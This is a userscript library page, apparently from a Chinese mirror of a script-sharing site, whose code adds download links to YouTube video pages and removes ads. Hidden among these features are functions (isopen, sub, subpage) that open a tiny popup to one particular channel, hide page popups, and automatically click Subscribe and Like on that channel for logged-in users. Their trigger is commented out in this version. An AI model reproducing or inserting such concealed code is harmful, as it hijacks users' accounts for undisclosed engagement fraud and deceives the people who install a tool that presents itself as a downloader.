youtubedl.js

youtube downloader

目前为 2020-06-19 提交的版本。查看 最新版本

此脚本不应直接安装,它是一个供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.gf.qytechs.cn/scripts/405677/818057/youtubedljs.js

  1. var localurl = location.href;
  2. var host = 'https://www.socheap.store'
  3.  
  4. // 增加css
  5. function addGlobalStyle(css) {
  6. var head, style;
  7. head = document.getElementsByTagName('head')[0];
  8. if (!head) { return; }
  9. style = document.createElement('style');
  10. style.type = 'text/css';
  11. style.innerHTML = css;
  12. head.appendChild(style);
  13. }
  14. addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')
  15.  
  16. urlhandler()
  17.  
  18.  
  19. function urlhandler(){
  20. if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
  21. if($('#xsyhnbtb').length==0){
  22. //taobao()
  23. }
  24.  
  25. }
  26. else{
  27. youtube()
  28. }
  29. }
  30. function youtube(){
  31. const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
  32.  
  33.  
  34. const parseQuery = s =>
  35. [...new URLSearchParams(s).entries()].reduce(
  36. (acc, [k, v]) => ((acc[k] = v), acc),
  37. {}
  38. )
  39. const parseDecsig = data => {
  40. try {
  41. if (data.startsWith('var script')) {
  42. // they inject the script via script tag
  43. const obj = {}
  44. const document = {
  45. createElement: () => obj,
  46. head: { appendChild: () => {} }
  47. }
  48. eval(data)
  49. data = obj.innerHTML
  50. }
  51. const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
  52. data
  53. )
  54. const fnname = fnnameresult[1]
  55. const _argnamefnbodyresult = new RegExp(
  56. escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
  57. ).exec(data)
  58. const [_, argname, fnbody] = _argnamefnbodyresult
  59. const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
  60. const helpername = helpernameresult[1]
  61. const helperresult = new RegExp(
  62. 'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
  63. ).exec(data)
  64.  
  65. const helper = helperresult[0]
  66. return new Function([argname], helper + '\n' + fnbody)
  67. } catch (e) {
  68. logger.error('parsedecsig error: %o', e)
  69. logger.info('script content: %s', data)
  70. logger.info(
  71. 'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
  72. )
  73. }
  74. }
  75.  
  76. const getVideo = async ( id) => {
  77.  
  78. const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
  79. ? 'https://' + location.host + ytplayer.config.assets.js
  80. : document.querySelector('script[src$="base.js"]').src;
  81.  
  82. const decsig = await xf.get(basejs).text(parseDecsig);
  83. const data = await xf
  84. .get(
  85. `https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
  86. )
  87. .text()
  88. .catch(err => null)
  89. if (!data) return 'Adblock conflict'
  90. const obj = parseQuery(data)
  91. const playerResponse = JSON.parse(obj.player_response)
  92. console.log('------',playerResponse)
  93. var stream=[]
  94. stream = playerResponse.streamingData.formats.map(x =>
  95. Object.assign({}, x, parseQuery(x.cipher)))
  96. if(stream[0].sp && stream[0].sp.includes('sig')){
  97. for(var i=0;i<stream.length;i++){
  98. stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
  99. console.warn(stream[i])
  100. }
  101. }
  102. return stream
  103. }
  104.  
  105. const addbtn = async()=>{
  106. if(localurl.search('watch')>0){
  107. $('#dival').remove();
  108. var basebtn = '<div id="dival" style="line-height:60px;">下载链接:<span id="adl">正在获取下载链接</span></div>';
  109.  
  110. $('div#info-contents').after(basebtn);
  111. var id = localurl.split('&')[0].match(/v=(.*)/)[1];
  112. const stream = await getVideo(id);
  113. console.log('stream',stream)
  114. var abtn = ''
  115. if(stream.length<=5){
  116. for(var i=0;i<stream.length;i++){
  117. var btn = '<a class="a-dl" target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
  118. abtn = abtn + btn;
  119. }}
  120. $('#adl').remove();
  121. $('#dival').append(abtn);
  122. }
  123. }
  124. function init(){
  125. document.querySelector('ytd-popup-container').style.display='';
  126. document.querySelector('ytd-app').style.zIndex='';
  127. console.log('inited')
  128. }
  129. function getsec(str)
  130. {
  131. var str1=str.substring(1,str.length)*1;
  132. var str2=str.substring(0,1);
  133. if (str2=="s")
  134. {
  135. return str1*1000;
  136. }
  137. else if (str2=="h")
  138. {
  139. return str1*60*60*1000;
  140. }
  141. else if (str2=="d")
  142. {
  143. return str1*24*60*60*1000;
  144. }
  145. }
  146. function setCookie(name,value,time)
  147. {
  148. var strsec = getsec(time);
  149. var exp = new Date();
  150. exp.setTime(exp.getTime() + strsec*1);
  151. document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
  152. }
  153. function getCookie(name)
  154. {
  155. var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
  156. if(arr=document.cookie.match(reg))
  157. return unescape(arr[2]);
  158. else
  159. return null;
  160. }
  161. function delCookie(name)
  162. {
  163. var exp = new Date();
  164. exp.setTime(exp.getTime() - 1);
  165. var cval=getCookie(name);
  166. if(cval!=null)
  167. document.cookie= name + "="+cval+";expires="+exp.toGMTString();
  168. }
  169. function isopen(){
  170. if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
  171. if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
  172. }
  173. function subpage(){
  174. if(localurl.search('watch')>0){
  175. console.log('v page')
  176. var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
  177. var acid='';
  178. var cid = '';
  179. var btnup='';
  180. function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
  181. function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
  182. var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  183. console.log(btn)
  184. if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
  185. try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
  186. console.log(cid)
  187. if(cid.search(cc)==-1){}else{
  188. console.log('right v page')
  189. try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  190. try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  191. csub();
  192. btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  193. if(btnup==''){setTimeout(subpage,100)}
  194. if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
  195. }}}
  196. function sub(){
  197. isopen();
  198. var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
  199. if(islogin){
  200. console.log('login',localurl)
  201. if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
  202. try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  203. try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  204. function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
  205. cup();
  206. }
  207. subpage()
  208. }else{console.log('not login')}
  209. }
  210. function closeAds(){
  211. var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
  212. var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
  213. if(adremove){
  214. console.log('ad remove');
  215. adremove.remove();
  216. }
  217. if(adclose){
  218. adclose.click();
  219. console.log('ad close');
  220. }
  221. }
  222. //getVideo();
  223. function getele(){
  224. if($('div#info-contents').length>0){
  225. addbtn();
  226. }else{
  227. setTimeout(getele,500);
  228. }
  229. }
  230. function refreshlink(){
  231. closeAds();
  232. //console.log(localurl,location.href)
  233. if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
  234. console.log('same')
  235. }
  236.  
  237. }
  238. setInterval(refreshlink,500);
  239.  
  240. getele();
  241. //sub();
  242. }

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址